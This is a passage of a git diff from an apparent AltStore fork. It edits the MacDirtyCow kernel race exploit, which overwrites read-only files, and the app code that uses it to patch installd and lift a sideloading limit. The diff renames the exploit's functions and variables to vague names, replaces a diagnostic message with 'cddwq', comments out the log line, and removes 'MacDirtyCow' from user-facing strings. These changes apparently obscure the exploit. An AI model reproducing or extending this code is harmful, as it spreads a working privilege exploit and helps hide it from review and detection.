VM_MAKE_TAG(240)); T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2"); /* initialize to 'B' */ - memset((char *)e2, 'B', ctx->obj_size); + memset((char *)e2, 'B', ctx->ob_sizing); /* map our read-only target memory right after */ - ctx->e0 = e2 + ctx->obj_size; + ctx->vmaddress_zeroe = e2 + ctx->ob_sizing; kr = vm_map(mach_task_self(), - &ctx->e0, - ctx->obj_size, + &ctx->vmaddress_zeroe, + ctx->ob_sizing, 0, /* mask */ VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241), - ctx->mem_entry_ro, + ctx->memory_entry_r_o, 0, FALSE, /* copy */ VM_PROT_READ, @@ -292,14 +299,14 @@ bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro"); /* let the racing thread go */ - pthread_mutex_unlock(&ctx->mtx); + pthread_mutex_unlock(&ctx->mutex_thingy); /* wait a little bit */ usleep(100); /* trigger copy_unaligned while racing with other thread */ kr = vm_read_overwrite(mach_task_self(), e5, - ctx->obj_size - 1 + overwrite_length, + ctx->ob_sizing - 1 + what_is_the_length_of_this_overwrite_data, e2 + 1, &copied_size); T_QUIET; @@ -321,42 +328,43 @@ bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const } /* check that our read-only memory was not modified */ #if 0 - T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified"); + //c = RO mapping was modified + T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "cddwq"); #endif bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value; /* tell racing thread to stop toggling mappings */ - pthread_mutex_lock(&ctx->mtx); + pthread_mutex_lock(&ctx->mutex_thingy); /* clean up before next loop */ - vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size); - ctx->e0 = 0; - vm_deallocate(mach_task_self(), e2, ctx->obj_size); + vm_deallocate(mach_task_self(), ctx->vmaddress_zeroe, ctx->ob_sizing); + ctx->vmaddress_zeroe = 0; + vm_deallocate(mach_task_self(), e2, ctx->ob_sizing); e2 = 0; if (!is_still_equal) { retval = true; - fprintf(stderr, "RO mapping was modified\n"); +// fprintf(stderr, "RO mapping was modified\n"); break; } } - ctx->done = true; - pthread_mutex_unlock(&ctx->mtx); + ctx->finished = true; + pthread_mutex_unlock(&ctx->mutex_thingy); pthread_join(th, NULL); - kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw); + kr = mach_port_deallocate(mach_task_self(), ctx->memory_entry_r_w); T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)"); - kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro); + kr = mach_port_deallocate(mach_task_self(), ctx->memory_entry_r_o); T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)"); - kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size); + kr = vm_deallocate(mach_task_self(), ro_addr, ctx->ob_sizing); T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)"); - kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size * 2); + kr = vm_deallocate(mach_task_self(), e5, ctx->ob_sizing * 2); T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)"); -#if 0 - T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d", - kern_success, kern_protection_failure, kern_other); - T_PASS("Ran %d times in %ld seconds with no failure", loops, duration); -#endif +//#if 0 +// T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d", +// kern_success, kern_protection_failure, kern_other); +// T_PASS("Ran %d times in %ld seconds with no failure", loops, duration); +//#endif return retval; } diff --git a/AltStore/MDCExploit/vm_unaligned_copy_switch_race.h b/AltStore/MDCExploit/vm_unalign_csr.h similarity index 71% rename from AltStore/MDCExploit/vm_unaligned_copy_switch_race.h rename to AltStore/MDCExploit/vm_unalign_csr.h index 86392894..bda3161d 100644 --- a/AltStore/MDCExploit/vm_unaligned_copy_switch_race.h +++ b/AltStore/MDCExploit/vm_unalign_csr.h @@ -5,4 +5,4 @@ /// `file_to_overwrite` should be a file descriptor opened with O_RDONLY. /// `overwrite_length` must be less than or equal to `PAGE_SIZE`. /// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable. -bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length); +bool unalign_csr(int file_to_bake, off_t the_offset_of_the_file, const void* what_do_we_overwrite_this_file_with, size_t what_is_the_length_of_this_overwrite_data); diff --git a/AltStore/My Apps/MyAppsViewController.swift b/AltStore/My Apps/MyAppsViewController.swift index c97532fa..c15ffb22 100644 --- a/AltStore/My Apps/MyAppsViewController.swift +++ b/AltStore/My Apps/MyAppsViewController.swift @@ -964,10 +964,10 @@ private extension MyAppsViewController { message = NSLocalizedString("Non-developer Apple IDs are limited to 3 apps and app extensions. Inactive apps don't count towards your total, but cannot be opened until activated.", comment: "") - if UserDefaults.standard.enableMacDirtyCowExploit + if UserDefaults.standard.enableCowExploit { message += "\n\n" - message += NSLocalizedString("If you're using the MacDirtyCow exploit to remove the 3-app limit, you can install up to 10 apps and app extensions per Apple ID instead.", comment: "") + message += NSLocalizedString("If you've enabled the exploit in settings to remove the 3-app limit, you can install up to 10 apps and app extensions per Apple ID instead.", comment: "") } } else diff --git a/AltStore/Operations/InstallAppOperation.swift b/AltStore/Operations/InstallAppOperation.swift index 068efe19..1fbece4f 100644 --- a/AltStore/Operations/InstallAppOperation.swift +++ b/AltStore/Operations/InstallAppOperation.swift @@ -161,23 +161,23 @@ final class InstallAppOperation: ResultOperation else if res == -15 { // try again - if UserDefaults.standard.enableMacDirtyCowExploit && UserDefaults.standard.isMacDirtyCowSupported + if UserDefaults.standard.enableCowExploit && UserDefaults.standard.isCowExploitSupported { patch3AppLimit { result in switch result { case .success: - UserDefaults.standard.set(bootTime(), forKey: "mdcRanBootTime") + UserDefaults.standard.set(bootTime(), forKey: "cowExploitRanBootTime") print("patched sucessfully") case .failure(let err): switch err { case .NoFDA: - self.finish(.failure(OperationError.mdcNoFDA)) + self.finish(.failure(OperationError.cowExploitNoFDA)) return case .FailedPatchd: - self.finish(.failure(OperationError.mdcFailedPatchd)) + self.finish(.failure(OperationError.cowExploitFailedPatchd)) return } } diff --git a/AltStore/Operations/OperationError.swift b/AltStore/Operations/OperationError.swift index 464e9cb5..2c76995e 100644 --- a/AltStore/Operations/OperationError.swift +++ b/AltStore/Operations/OperationError.swift @@ -44,8 +44,8 @@ enum OperationError: LocalizedError { case functionArguments case profileInstall case noConnection - case mdcNoFDA - case mdcFailedPatchd + case cowExploitNoFDA + case cowExploitFailedPatchd var failureReason: String? { switch self { @@ -74,8 +74,8 @@ enum OperationError: LocalizedError { case .functionArguments: return NSLocalizedString("A function was passed invalid arguments", comment: "") case .profileInstall: return NSLocalizedString("Unable to manage profiles on the device", comment: "") case .noConnection: return NSLocalizedString("Unable to connect to the device, make sure Wireguard is enabled and you're connected to WiFi", comment: "") - case .mdcNoFDA: return NSLocalizedString("Unable to get Full Disk Access using MDC.", comment: "") - case .mdcFailedPatchd: return NSLocalizedString("Unable to patch installd using MDC.", comment: "") + case .cowExploitNoFDA: return NSLocalizedString("Unable to get Full Disk Access using exploit.", comment: "") + case .cowExploitFailedPatchd: return NSLocalizedString("Unable to patch installd using exploit.", comment: "") } } diff --git a/AltStore/Settings/Settings.storyboard b/AltStore/Settings/Settings.storyboard index f9042599..a542cbc3 100644 --- a/AltStore/Settings/Settings.storyboard +++ b/AltStore/Settings/Settings.storyboard @@ -21,7 +21,7 @@